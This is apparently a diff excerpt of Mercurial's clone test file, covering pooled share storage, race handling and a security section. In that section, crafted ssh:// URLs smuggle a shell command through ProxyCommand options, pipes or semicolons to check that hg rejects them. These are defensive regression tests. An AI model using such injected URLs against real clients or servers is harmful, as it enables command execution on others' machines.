685 Create repositories to test auto sharing functionality
686
686
687 $ cat >> $HGRCPATH << EOF
687 $ cat >> $HGRCPATH << EOF
688 > [extensions]
688 > [extensions]
689 > share=
689 > share=
690 > EOF
690 > EOF
691
691
692 $ hg init empty
692 $ hg init empty
693 $ hg init source1a
693 $ hg init source1a
694 $ cd source1a
694 $ cd source1a
695 $ echo initial1 > foo
695 $ echo initial1 > foo
696 $ hg -q commit -A -m initial
696 $ hg -q commit -A -m initial
697 $ echo second > foo
697 $ echo second > foo
698 $ hg commit -m second
698 $ hg commit -m second
699 $ cd ..
699 $ cd ..
700
700
701 $ hg init filteredrev0
701 $ hg init filteredrev0
702 $ cd filteredrev0
702 $ cd filteredrev0
703 $ cat >> .hg/hgrc << EOF
703 $ cat >> .hg/hgrc << EOF
704 > [experimental]
704 > [experimental]
705 > evolution=createmarkers
705 > evolution=createmarkers
706 > EOF
706 > EOF
707 $ echo initial1 > foo
707 $ echo initial1 > foo
708 $ hg -q commit -A -m initial0
708 $ hg -q commit -A -m initial0
709 $ hg -q up -r null
709 $ hg -q up -r null
710 $ echo initial2 > foo
710 $ echo initial2 > foo
711 $ hg -q commit -A -m initial1
711 $ hg -q commit -A -m initial1
712 $ hg debugobsolete c05d5c47a5cf81401869999f3d05f7d699d2b29a e082c1832e09a7d1e78b7fd49a592d372de854c8
712 $ hg debugobsolete c05d5c47a5cf81401869999f3d05f7d699d2b29a e082c1832e09a7d1e78b7fd49a592d372de854c8
713 $ cd ..
713 $ cd ..
714
714
715 $ hg -q clone --pull source1a source1b
715 $ hg -q clone --pull source1a source1b
716 $ cd source1a
716 $ cd source1a
717 $ hg bookmark bookA
717 $ hg bookmark bookA
718 $ echo 1a > foo
718 $ echo 1a > foo
719 $ hg commit -m 1a
719 $ hg commit -m 1a
720 $ cd ../source1b
720 $ cd ../source1b
721 $ hg -q up -r 0
721 $ hg -q up -r 0
722 $ echo head1 > foo
722 $ echo head1 > foo
723 $ hg commit -m head1
723 $ hg commit -m head1
724 created new head
724 created new head
725 $ hg bookmark head1
725 $ hg bookmark head1
726 $ hg -q up -r 0
726 $ hg -q up -r 0
727 $ echo head2 > foo
727 $ echo head2 > foo
728 $ hg commit -m head2
728 $ hg commit -m head2
729 created new head
729 created new head
730 $ hg bookmark head2
730 $ hg bookmark head2
731 $ hg -q up -r 0
731 $ hg -q up -r 0
732 $ hg branch branch1
732 $ hg branch branch1
733 marked working directory as branch branch1
733 marked working directory as branch branch1
734 (branches are permanent and global, did you want a bookmark?)
734 (branches are permanent and global, did you want a bookmark?)
735 $ echo branch1 > foo
735 $ echo branch1 > foo
736 $ hg commit -m branch1
736 $ hg commit -m branch1
737 $ hg -q up -r 0
737 $ hg -q up -r 0
738 $ hg branch branch2
738 $ hg branch branch2
739 marked working directory as branch branch2
739 marked working directory as branch branch2
740 $ echo branch2 > foo
740 $ echo branch2 > foo
741 $ hg commit -m branch2
741 $ hg commit -m branch2
742 $ cd ..
742 $ cd ..
743 $ hg init source2
743 $ hg init source2
744 $ cd source2
744 $ cd source2
745 $ echo initial2 > foo
745 $ echo initial2 > foo
746 $ hg -q commit -A -m initial2
746 $ hg -q commit -A -m initial2
747 $ echo second > foo
747 $ echo second > foo
748 $ hg commit -m second
748 $ hg commit -m second
749 $ cd ..
749 $ cd ..
750
750
751 Clone with auto share from an empty repo should not result in share
751 Clone with auto share from an empty repo should not result in share
752
752
753 $ mkdir share
753 $ mkdir share
754 $ hg --config share.pool=share clone empty share-empty
754 $ hg --config share.pool=share clone empty share-empty
755 (not using pooled storage: remote appears to be empty)
755 (not using pooled storage: remote appears to be empty)
756 updating to branch default
756 updating to branch default
757 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
757 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
758 $ ls share
758 $ ls share
759 $ test -d share-empty/.hg/store
759 $ test -d share-empty/.hg/store
760 $ test -f share-empty/.hg/sharedpath
760 $ test -f share-empty/.hg/sharedpath
761 [1]
761 [1]
762
762
763 Clone with auto share from a repo with filtered revision 0 should not result in share
763 Clone with auto share from a repo with filtered revision 0 should not result in share
764
764
765 $ hg --config share.pool=share clone filteredrev0 share-filtered
765 $ hg --config share.pool=share clone filteredrev0 share-filtered
766 (not using pooled storage: unable to resolve identity of remote)
766 (not using pooled storage: unable to resolve identity of remote)
767 requesting all changes
767 requesting all changes
768 adding changesets
768 adding changesets
769 adding manifests
769 adding manifests
770 adding file changes
770 adding file changes
771 added 1 changesets with 1 changes to 1 files
771 added 1 changesets with 1 changes to 1 files
772 updating to branch default
772 updating to branch default
773 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
773 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
774
774
775 Clone from repo with content should result in shared store being created
775 Clone from repo with content should result in shared store being created
776
776
777 $ hg --config share.pool=share clone source1a share-dest1a
777 $ hg --config share.pool=share clone source1a share-dest1a
778 (sharing from new pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
778 (sharing from new pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
779 requesting all changes
779 requesting all changes
780 adding changesets
780 adding changesets
781 adding manifests
781 adding manifests
782 adding file changes
782 adding file changes
783 added 3 changesets with 3 changes to 1 files
783 added 3 changesets with 3 changes to 1 files
784 searching for changes
784 searching for changes
785 no changes found
785 no changes found
786 adding remote bookmark bookA
786 adding remote bookmark bookA
787 updating working directory
787 updating working directory
788 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
788 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
789
789
790 The shared repo should have been created
790 The shared repo should have been created
791
791
792 $ ls share
792 $ ls share
793 b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1
793 b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1
794
794
795 The destination should point to it
795 The destination should point to it
796
796
797 $ cat share-dest1a/.hg/sharedpath; echo
797 $ cat share-dest1a/.hg/sharedpath; echo
798 $TESTTMP/share/b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1/.hg (glob)
798 $TESTTMP/share/b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1/.hg (glob)
799
799
800 The destination should have bookmarks
800 The destination should have bookmarks
801
801
802 $ hg -R share-dest1a bookmarks
802 $ hg -R share-dest1a bookmarks
803 bookA 2:e5bfe23c0b47
803 bookA 2:e5bfe23c0b47
804
804
805 The default path should be the remote, not the share
805 The default path should be the remote, not the share
806
806
807 $ hg -R share-dest1a config paths.default
807 $ hg -R share-dest1a config paths.default
808 $TESTTMP/source1a (glob)
808 $TESTTMP/source1a (glob)
809
809
810 Clone with existing share dir should result in pull + share
810 Clone with existing share dir should result in pull + share
811
811
812 $ hg --config share.pool=share clone source1b share-dest1b
812 $ hg --config share.pool=share clone source1b share-dest1b
813 (sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
813 (sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
814 searching for changes
814 searching for changes
815 adding changesets
815 adding changesets
816 adding manifests
816 adding manifests
817 adding file changes
817 adding file changes
818 added 4 changesets with 4 changes to 1 files (+4 heads)
818 added 4 changesets with 4 changes to 1 files (+4 heads)
819 adding remote bookmark head1
819 adding remote bookmark head1
820 adding remote bookmark head2
820 adding remote bookmark head2
821 updating working directory
821 updating working directory
822 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
822 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
823
823
824 $ ls share
824 $ ls share
825 b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1
825 b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1
826
826
827 $ cat share-dest1b/.hg/sharedpath; echo
827 $ cat share-dest1b/.hg/sharedpath; echo
828 $TESTTMP/share/b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1/.hg (glob)
828 $TESTTMP/share/b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1/.hg (glob)
829
829
830 We only get bookmarks from the remote, not everything in the share
830 We only get bookmarks from the remote, not everything in the share
831
831
832 $ hg -R share-dest1b bookmarks
832 $ hg -R share-dest1b bookmarks
833 head1 3:4a8dc1ab4c13
833 head1 3:4a8dc1ab4c13
834 head2 4:99f71071f117
834 head2 4:99f71071f117
835
835
836 Default path should be source, not share.
836 Default path should be source, not share.
837
837
838 $ hg -R share-dest1b config paths.default
838 $ hg -R share-dest1b config paths.default
839 $TESTTMP/source1b (glob)
839 $TESTTMP/source1b (glob)
840
840
841 Checked out revision should be head of default branch
841 Checked out revision should be head of default branch
842
842
843 $ hg -R share-dest1b log -r .
843 $ hg -R share-dest1b log -r .
844 changeset: 4:99f71071f117
844 changeset: 4:99f71071f117
845 bookmark: head2
845 bookmark: head2
846 parent: 0:b5f04eac9d8f
846 parent: 0:b5f04eac9d8f
847 user: test
847 user: test
848 date: Thu Jan 01 00:00:00 1970 +0000
848 date: Thu Jan 01 00:00:00 1970 +0000
849 summary: head2
849 summary: head2
850
850
851
851
852 Clone from unrelated repo should result in new share
852 Clone from unrelated repo should result in new share
853
853
854 $ hg --config share.pool=share clone source2 share-dest2
854 $ hg --config share.pool=share clone source2 share-dest2
855 (sharing from new pooled repository 22aeff664783fd44c6d9b435618173c118c3448e)
855 (sharing from new pooled repository 22aeff664783fd44c6d9b435618173c118c3448e)
856 requesting all changes
856 requesting all changes
857 adding changesets
857 adding changesets
858 adding manifests
858 adding manifests
859 adding file changes
859 adding file changes
860 added 2 changesets with 2 changes to 1 files
860 added 2 changesets with 2 changes to 1 files
861 searching for changes
861 searching for changes
862 no changes found
862 no changes found
863 updating working directory
863 updating working directory
864 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
864 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
865
865
866 $ ls share
866 $ ls share
867 22aeff664783fd44c6d9b435618173c118c3448e
867 22aeff664783fd44c6d9b435618173c118c3448e
868 b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1
868 b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1
869
869
870 remote naming mode works as advertised
870 remote naming mode works as advertised
871
871
872 $ hg --config share.pool=shareremote --config share.poolnaming=remote clone source1a share-remote1a
872 $ hg --config share.pool=shareremote --config share.poolnaming=remote clone source1a share-remote1a
873 (sharing from new pooled repository 195bb1fcdb595c14a6c13e0269129ed78f6debde)
873 (sharing from new pooled repository 195bb1fcdb595c14a6c13e0269129ed78f6debde)
874 requesting all changes
874 requesting all changes
875 adding changesets
875 adding changesets
876 adding manifests
876 adding manifests
877 adding file changes
877 adding file changes
878 added 3 changesets with 3 changes to 1 files
878 added 3 changesets with 3 changes to 1 files
879 searching for changes
879 searching for changes
880 no changes found
880 no changes found
881 adding remote bookmark bookA
881 adding remote bookmark bookA
882 updating working directory
882 updating working directory
883 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
883 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
884
884
885 $ ls shareremote
885 $ ls shareremote
886 195bb1fcdb595c14a6c13e0269129ed78f6debde
886 195bb1fcdb595c14a6c13e0269129ed78f6debde
887
887
888 $ hg --config share.pool=shareremote --config share.poolnaming=remote clone source1b share-remote1b
888 $ hg --config share.pool=shareremote --config share.poolnaming=remote clone source1b share-remote1b
889 (sharing from new pooled repository c0d4f83847ca2a873741feb7048a45085fd47c46)
889 (sharing from new pooled repository c0d4f83847ca2a873741feb7048a45085fd47c46)
890 requesting all changes
890 requesting all changes
891 adding changesets
891 adding changesets
892 adding manifests
892 adding manifests
893 adding file changes
893 adding file changes
894 added 6 changesets with 6 changes to 1 files (+4 heads)
894 added 6 changesets with 6 changes to 1 files (+4 heads)
895 searching for changes
895 searching for changes
896 no changes found
896 no changes found
897 adding remote bookmark head1
897 adding remote bookmark head1
898 adding remote bookmark head2
898 adding remote bookmark head2
899 updating working directory
899 updating working directory
900 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
900 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
901
901
902 $ ls shareremote
902 $ ls shareremote
903 195bb1fcdb595c14a6c13e0269129ed78f6debde
903 195bb1fcdb595c14a6c13e0269129ed78f6debde
904 c0d4f83847ca2a873741feb7048a45085fd47c46
904 c0d4f83847ca2a873741feb7048a45085fd47c46
905
905
906 request to clone a single revision is respected in sharing mode
906 request to clone a single revision is respected in sharing mode
907
907
908 $ hg --config share.pool=sharerevs clone -r 4a8dc1ab4c13 source1b share-1arev
908 $ hg --config share.pool=sharerevs clone -r 4a8dc1ab4c13 source1b share-1arev
909 (sharing from new pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
909 (sharing from new pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
910 adding changesets
910 adding changesets
911 adding manifests
911 adding manifests
912 adding file changes
912 adding file changes
913 added 2 changesets with 2 changes to 1 files
913 added 2 changesets with 2 changes to 1 files
914 no changes found
914 no changes found
915 adding remote bookmark head1
915 adding remote bookmark head1
916 updating working directory
916 updating working directory
917 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
917 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
918
918
919 $ hg -R share-1arev log -G
919 $ hg -R share-1arev log -G
920 @ changeset: 1:4a8dc1ab4c13
920 @ changeset: 1:4a8dc1ab4c13
921 | bookmark: head1
921 | bookmark: head1
922 | tag: tip
922 | tag: tip
923 | user: test
923 | user: test
924 | date: Thu Jan 01 00:00:00 1970 +0000
924 | date: Thu Jan 01 00:00:00 1970 +0000
925 | summary: head1
925 | summary: head1
926 |
926 |
927 o changeset: 0:b5f04eac9d8f
927 o changeset: 0:b5f04eac9d8f
928 user: test
928 user: test
929 date: Thu Jan 01 00:00:00 1970 +0000
929 date: Thu Jan 01 00:00:00 1970 +0000
930 summary: initial
930 summary: initial
931
931
932
932
933 making another clone should only pull down requested rev
933 making another clone should only pull down requested rev
934
934
935 $ hg --config share.pool=sharerevs clone -r 99f71071f117 source1b share-1brev
935 $ hg --config share.pool=sharerevs clone -r 99f71071f117 source1b share-1brev
936 (sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
936 (sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
937 searching for changes
937 searching for changes
938 adding changesets
938 adding changesets
939 adding manifests
939 adding manifests
940 adding file changes
940 adding file changes
941 added 1 changesets with 1 changes to 1 files (+1 heads)
941 added 1 changesets with 1 changes to 1 files (+1 heads)
942 adding remote bookmark head1
942 adding remote bookmark head1
943 adding remote bookmark head2
943 adding remote bookmark head2
944 updating working directory
944 updating working directory
945 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
945 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
946
946
947 $ hg -R share-1brev log -G
947 $ hg -R share-1brev log -G
948 @ changeset: 2:99f71071f117
948 @ changeset: 2:99f71071f117
949 | bookmark: head2
949 | bookmark: head2
950 | tag: tip
950 | tag: tip
951 | parent: 0:b5f04eac9d8f
951 | parent: 0:b5f04eac9d8f
952 | user: test
952 | user: test
953 | date: Thu Jan 01 00:00:00 1970 +0000
953 | date: Thu Jan 01 00:00:00 1970 +0000
954 | summary: head2
954 | summary: head2
955 |
955 |
956 | o changeset: 1:4a8dc1ab4c13
956 | o changeset: 1:4a8dc1ab4c13
957 |/ bookmark: head1
957 |/ bookmark: head1
958 | user: test
958 | user: test
959 | date: Thu Jan 01 00:00:00 1970 +0000
959 | date: Thu Jan 01 00:00:00 1970 +0000
960 | summary: head1
960 | summary: head1
961 |
961 |
962 o changeset: 0:b5f04eac9d8f
962 o changeset: 0:b5f04eac9d8f
963 user: test
963 user: test
964 date: Thu Jan 01 00:00:00 1970 +0000
964 date: Thu Jan 01 00:00:00 1970 +0000
965 summary: initial
965 summary: initial
966
966
967
967
968 Request to clone a single branch is respected in sharing mode
968 Request to clone a single branch is respected in sharing mode
969
969
970 $ hg --config share.pool=sharebranch clone -b branch1 source1b share-1bbranch1
970 $ hg --config share.pool=sharebranch clone -b branch1 source1b share-1bbranch1
971 (sharing from new pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
971 (sharing from new pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
972 adding changesets
972 adding changesets
973 adding manifests
973 adding manifests
974 adding file changes
974 adding file changes
975 added 2 changesets with 2 changes to 1 files
975 added 2 changesets with 2 changes to 1 files
976 no changes found
976 no changes found
977 updating working directory
977 updating working directory
978 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
978 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
979
979
980 $ hg -R share-1bbranch1 log -G
980 $ hg -R share-1bbranch1 log -G
981 o changeset: 1:5f92a6c1a1b1
981 o changeset: 1:5f92a6c1a1b1
982 | branch: branch1
982 | branch: branch1
983 | tag: tip
983 | tag: tip
984 | user: test
984 | user: test
985 | date: Thu Jan 01 00:00:00 1970 +0000
985 | date: Thu Jan 01 00:00:00 1970 +0000
986 | summary: branch1
986 | summary: branch1
987 |
987 |
988 @ changeset: 0:b5f04eac9d8f
988 @ changeset: 0:b5f04eac9d8f
989 user: test
989 user: test
990 date: Thu Jan 01 00:00:00 1970 +0000
990 date: Thu Jan 01 00:00:00 1970 +0000
991 summary: initial
991 summary: initial
992
992
993
993
994 $ hg --config share.pool=sharebranch clone -b branch2 source1b share-1bbranch2
994 $ hg --config share.pool=sharebranch clone -b branch2 source1b share-1bbranch2
995 (sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
995 (sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
996 searching for changes
996 searching for changes
997 adding changesets
997 adding changesets
998 adding manifests
998 adding manifests
999 adding file changes
999 adding file changes
1000 added 1 changesets with 1 changes to 1 files (+1 heads)
1000 added 1 changesets with 1 changes to 1 files (+1 heads)
1001 updating working directory
1001 updating working directory
1002 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1002 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1003
1003
1004 $ hg -R share-1bbranch2 log -G
1004 $ hg -R share-1bbranch2 log -G
1005 o changeset: 2:6bacf4683960
1005 o changeset: 2:6bacf4683960
1006 | branch: branch2
1006 | branch: branch2
1007 | tag: tip
1007 | tag: tip
1008 | parent: 0:b5f04eac9d8f
1008 | parent: 0:b5f04eac9d8f
1009 | user: test
1009 | user: test
1010 | date: Thu Jan 01 00:00:00 1970 +0000
1010 | date: Thu Jan 01 00:00:00 1970 +0000
1011 | summary: branch2
1011 | summary: branch2
1012 |
1012 |
1013 | o changeset: 1:5f92a6c1a1b1
1013 | o changeset: 1:5f92a6c1a1b1
1014 |/ branch: branch1
1014 |/ branch: branch1
1015 | user: test
1015 | user: test
1016 | date: Thu Jan 01 00:00:00 1970 +0000
1016 | date: Thu Jan 01 00:00:00 1970 +0000
1017 | summary: branch1
1017 | summary: branch1
1018 |
1018 |
1019 @ changeset: 0:b5f04eac9d8f
1019 @ changeset: 0:b5f04eac9d8f
1020 user: test
1020 user: test
1021 date: Thu Jan 01 00:00:00 1970 +0000
1021 date: Thu Jan 01 00:00:00 1970 +0000
1022 summary: initial
1022 summary: initial
1023
1023
1024
1024
1025 -U is respected in share clone mode
1025 -U is respected in share clone mode
1026
1026
1027 $ hg --config share.pool=share clone -U source1a share-1anowc
1027 $ hg --config share.pool=share clone -U source1a share-1anowc
1028 (sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
1028 (sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
1029 searching for changes
1029 searching for changes
1030 no changes found
1030 no changes found
1031 adding remote bookmark bookA
1031 adding remote bookmark bookA
1032
1032
1033 $ ls share-1anowc
1033 $ ls share-1anowc
1034
1034
1035 Test that auto sharing doesn't cause failure of "hg clone local remote"
1035 Test that auto sharing doesn't cause failure of "hg clone local remote"
1036
1036
1037 $ cd $TESTTMP
1037 $ cd $TESTTMP
1038 $ hg -R a id -r 0
1038 $ hg -R a id -r 0
1039 acb14030fe0a
1039 acb14030fe0a
1040 $ hg id -R remote -r 0
1040 $ hg id -R remote -r 0
1041 abort: repository remote not found!
1041 abort: repository remote not found!
1042 [255]
1042 [255]
1043 $ hg --config share.pool=share -q clone -e "python \"$TESTDIR/dummyssh\"" a ssh://user@dummy/remote
1043 $ hg --config share.pool=share -q clone -e "python \"$TESTDIR/dummyssh\"" a ssh://user@dummy/remote
1044 $ hg -R remote id -r 0
1044 $ hg -R remote id -r 0
1045 acb14030fe0a
1045 acb14030fe0a
1046
1046
1047 Cloning into pooled storage doesn't race (issue5104)
1047 Cloning into pooled storage doesn't race (issue5104)
1048
1048
1049 $ HGPOSTLOCKDELAY=2.0 hg --config share.pool=racepool --config extensions.lockdelay=$TESTDIR/lockdelay.py clone source1a share-destrace1 > race1.log 2>&1 &
1049 $ HGPOSTLOCKDELAY=2.0 hg --config share.pool=racepool --config extensions.lockdelay=$TESTDIR/lockdelay.py clone source1a share-destrace1 > race1.log 2>&1 &
1050 $ HGPRELOCKDELAY=1.0 hg --config share.pool=racepool --config extensions.lockdelay=$TESTDIR/lockdelay.py clone source1a share-destrace2 > race2.log 2>&1
1050 $ HGPRELOCKDELAY=1.0 hg --config share.pool=racepool --config extensions.lockdelay=$TESTDIR/lockdelay.py clone source1a share-destrace2 > race2.log 2>&1
1051 $ wait
1051 $ wait
1052
1052
1053 $ hg -R share-destrace1 log -r tip
1053 $ hg -R share-destrace1 log -r tip
1054 changeset: 2:e5bfe23c0b47
1054 changeset: 2:e5bfe23c0b47
1055 bookmark: bookA
1055 bookmark: bookA
1056 tag: tip
1056 tag: tip
1057 user: test
1057 user: test
1058 date: Thu Jan 01 00:00:00 1970 +0000
1058 date: Thu Jan 01 00:00:00 1970 +0000
1059 summary: 1a
1059 summary: 1a
1060
1060
1061
1061
1062 $ hg -R share-destrace2 log -r tip
1062 $ hg -R share-destrace2 log -r tip
1063 changeset: 2:e5bfe23c0b47
1063 changeset: 2:e5bfe23c0b47
1064 bookmark: bookA
1064 bookmark: bookA
1065 tag: tip
1065 tag: tip
1066 user: test
1066 user: test
1067 date: Thu Jan 01 00:00:00 1970 +0000
1067 date: Thu Jan 01 00:00:00 1970 +0000
1068 summary: 1a
1068 summary: 1a
1069
1069
1070 One repo should be new, the other should be shared from the pool. We
1070 One repo should be new, the other should be shared from the pool. We
1071 don't care which is which, so we just make sure we always print the
1071 don't care which is which, so we just make sure we always print the
1072 one containing "new pooled" first, then one one containing "existing
1072 one containing "new pooled" first, then one one containing "existing
1073 pooled".
1073 pooled".
1074
1074
1075 $ (grep 'new pooled' race1.log > /dev/null && cat race1.log || cat race2.log) | grep -v lock
1075 $ (grep 'new pooled' race1.log > /dev/null && cat race1.log || cat race2.log) | grep -v lock
1076 (sharing from new pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
1076 (sharing from new pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
1077 requesting all changes
1077 requesting all changes
1078 adding changesets
1078 adding changesets
1079 adding manifests
1079 adding manifests
1080 adding file changes
1080 adding file changes
1081 added 3 changesets with 3 changes to 1 files
1081 added 3 changesets with 3 changes to 1 files
1082 searching for changes
1082 searching for changes
1083 no changes found
1083 no changes found
1084 adding remote bookmark bookA
1084 adding remote bookmark bookA
1085 updating working directory
1085 updating working directory
1086 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1086 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1087
1087
1088 $ (grep 'existing pooled' race1.log > /dev/null && cat race1.log || cat race2.log) | grep -v lock
1088 $ (grep 'existing pooled' race1.log > /dev/null && cat race1.log || cat race2.log) | grep -v lock
1089 (sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
1089 (sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
1090 searching for changes
1090 searching for changes
1091 no changes found
1091 no changes found
1092 adding remote bookmark bookA
1092 adding remote bookmark bookA
1093 updating working directory
1093 updating working directory
1094 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1094 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1095
1095
1096 SEC: check for unsafe ssh url
1096 SEC: check for unsafe ssh url
1097
1097
1098 $ cat >> $HGRCPATH << EOF
1098 $ cat >> $HGRCPATH << EOF
1099 > [ui]
1099 > [ui]
1100 > ssh = sh -c "read l; read l; read l"
1100 > ssh = sh -c "read l; read l; read l"
1101 > EOF
1101 > EOF
1102
1102
1103 $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path'
1103 $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path'
1104 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
1104 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
1105 [255]
1105 [255]
1106 $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
1106 $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
1107 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
1107 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
1108 [255]
1108 [255]
1109 $ hg clone 'ssh://fakehost|shellcommand/path'
1109 $ hg clone 'ssh://fakehost|touch%20owned/path'
1110 abort: potentially unsafe url: 'ssh://fakehost|shellcommand/path'
1110 abort: no suitable response from remote hg!
1111 [255]
1111 [255]
1112 $ hg clone 'ssh://fakehost%7Cshellcommand/path'
1112 $ hg clone 'ssh://fakehost%7Ctouch%20owned/path'
1113 abort: potentially unsafe url: 'ssh://fakehost|shellcommand/path'
1113 abort: no suitable response from remote hg!
1114 [255]
1114 [255]
1115
1115
1116 $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path'
1116 $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path'
1117 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path'
1117 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path'
1118 [255]
1118 [255]
1119
1119
1120 #if windows
1120 #if windows
1121 $ hg clone "ssh://%26touch%20owned%20/" --debug
1121 $ hg clone "ssh://%26touch%20owned%20/" --debug
1122 running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio"
1122 running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio"
1123 sending hello command
1123 sending hello command
1124 sending between command
1124 sending between command
1125 abort: no suitable response from remote hg!
1125 abort: no suitable response from remote hg!
1126 [255]
1126 [255]
1127 $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug
1127 $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug
1128 running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio"
1128 running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio"
1129 sending hello command
1129 sending hello command
1130 sending between command
1130 sending between command
1131 abort: no suitable response from remote hg!
1131 abort: no suitable response from remote hg!
1132 [255]
1132 [255]
1133 #else
1133 #else
1134 $ hg clone "ssh://%3btouch%20owned%20/" --debug
1134 $ hg clone "ssh://%3btouch%20owned%20/" --debug
1135 running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio'
1135 running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio'
1136 sending hello command
1136 sending hello command
1137 sending between command
1137 sending between command
1138 abort: no suitable response from remote hg!
1138 abort: no suitable response from remote hg!
1139 [255]
1139 [255]
1140 $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug
1140 $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug
1141 running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio'
1141 running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio'
1142 sending hello command
1142 sending hello command
1143 sending between command
1143 sending between command
1144 abort: no suitable response from remote hg!
1144 abort: no suitable response from remote hg!
1145 [255]
1145 [255]
1146 #endif
1146 #endif
1147
1147
1148 $ hg clone "ssh://v-alid.example.com/" --debug
1148 $ hg clone "ssh://v-alid.example.com/" --debug
1149 running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re)
1149 running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re)
1150 sending hello command
1150 sending hello command
1151 sending between command
1151 sending between command
1152 abort: no suitable response from remote hg!
1152 abort: no suitable response from remote hg!
1153 [255]
1153 [255]
1154
1154
1155 We should not have created a file named owned - if it exists, the
1155 We should not have created a file named owned - if it exists, the
1156 attack succeeded.
1156 attack succeeded.
1157 $ if test -f owned; then echo 'you got owned'; fi
1157 $ if test -f owned; then echo 'you got owned'; fi
@@ -1,127 +1,134 b''
1 #require serve
1 #require serve
2
2
3 $ hg init test
3 $ hg init test
4 $ cd test
4 $ cd test
5
5
6 $ echo foo>foo
6 $ echo foo>foo
7 $ hg addremove
7 $ hg addremove
8 adding foo
8 adding foo
9 $ hg commit -m 1
9 $ hg commit -m 1
10
10
11 $ hg verify
11 $ hg verify
12 checking changesets
12 checking changesets
13 checking manifests
13 checking manifests
14 crosschecking files in changesets and manifests
14 crosschecking files in changesets and manifests
15 checking files
15 checking files
16 1 files, 1 changesets, 1 total revisions
16 1 files, 1 changesets, 1 total revisions
17
17
18 $ hg serve -p $HGPORT -d --pid-file=hg.pid
18 $ hg serve -p $HGPORT -d --pid-file=hg.pid
19 $ cat hg.pid >> $DAEMON_PIDS
